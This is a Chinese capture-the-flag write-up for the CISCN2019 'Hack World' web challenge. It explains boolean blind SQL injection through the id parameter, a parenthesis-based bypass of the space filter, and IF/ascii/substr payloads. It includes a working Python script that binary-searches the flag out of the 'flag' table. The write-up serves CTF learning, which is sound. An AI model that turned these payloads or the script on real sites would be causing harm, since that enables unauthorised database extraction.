Loading

[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开页面给了一个提示,输入id查看页面,说明这里的参数就是 id 了。

输入 1,2,3 查看页面回显

img

输入 2 回显

img

输入 3 回显

img

发现输入3的时候回显错误提示,说明这里可能存在布尔或延时盲注。接着测试。

(这题做的是挺懵的,一开始测试延时可以用,后面发现用不了了就开始测试布尔盲注了)

大佬给的源码

大佬的二分法

测试发现 空格 被过滤了,/**/也不能使用,但是可以使用 () 绕过。

img

img

找到可以绕过的就没问题了。

# IF(expr,1,2)		# 如果表达式 expr 结果为True 返回 1,否则返回 2;

id=if(length((select(database())))>0,1,2)
# 回显 Hello, glzjin wants a girlfriend.

id=if(length((select(database())))<0,1,2)
# 回显 Do you want to be my girlfriend?

仔细看看题目,上面提示了flag的位置。uuid 在表 flag 上的 flag 字段

img

# 构造payload

## flag的长度
id=if(length((select(flag)from(flag)))>$0$,1,0)

## flag值
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))>=$0$,1,0)

## $x$ 为需要修改的地方

构造好了payload,先测试一些payload能不能使用,测试没问题就可以跑脚本了。

img

看了一些 witeup 发现大佬们都喜欢二分,可能因为二分比较快吧。所以我也使用遍历和二分结合爆破flag长度和值。

#!/usr/bin/env  python3
# -*- encoding: UTF-8 -*-

import requests
import string
import time


class Sqlinject():
	def __init__(self, url, keyword=None, len=127):
		self._len = len
		self._url = url
		self._keyword = keyword
		self._length = 0
		self._flag = ''

# 爆破长度
	def getlength(self, name, payload=None):
		self._payload = payload
		for len in range(self._len):
			payload = self._payload % len
			req = requests.post(self._url, data={'id': payload})
			if self._keyword in req.text:
				self._length = len
				print('%s_Length = %d.' % (name, self._length))
				break

# 爆破flag
	def getflag(self, payload=None):
		self._payload = payload
		for len in range(1, self._length + 1):
			min = 33
			max = 126
			while (max > min):
				mid = int((min + max + 1) / 2)
				payload = self._payload % (len, mid)
				req = requests.post(self._url, data={'id': payload})
				if self._keyword in req.text:
					min = mid
				else:
					max = mid - 1
				time.sleep(0.1)
			self._flag += chr(max)
			print('flag:%s' % self._flag)


if __name__ == '__main__':
	urls = 'http://b4d3e7f9-4bfc-471b-b010-1ae76b609520.node4.buuoj.cn:81/index.php'
	keywords = 'Hello, glzjin wants a girlfriend.'
	strs = string.ascii_letters + string.digits + string.printable
	inject = Sqlinject(urls, keywords)
	
	# getlength(name, payload) 两个参数 一个是需要爆破位置的名字自定义就行只做打印显示用,另外一个是 payload 使用 双引号包裹,除了 length 之外其他方法只需要 payload 和需要被改变的位置
	inject.getlength("flaglen", "if(length((select(flag)from(flag)))=%d,1,0)")
	inject.getflag("if((ascii(substr((select(flag)from(flag)),%d,1)))>=%d,1,0)")

	
### 爆破一个flag的话 只需要用 getflag() 这个方法就行了,由于我也正在学习python 所以练练手,写的是一整个的盲注,数据库数据表爆破就没贴上来了。

注意位置

img

爆破到flag

img

posted @ 2022-08-13 10:38  knsec  阅读(287)  评论(0编辑  收藏  举报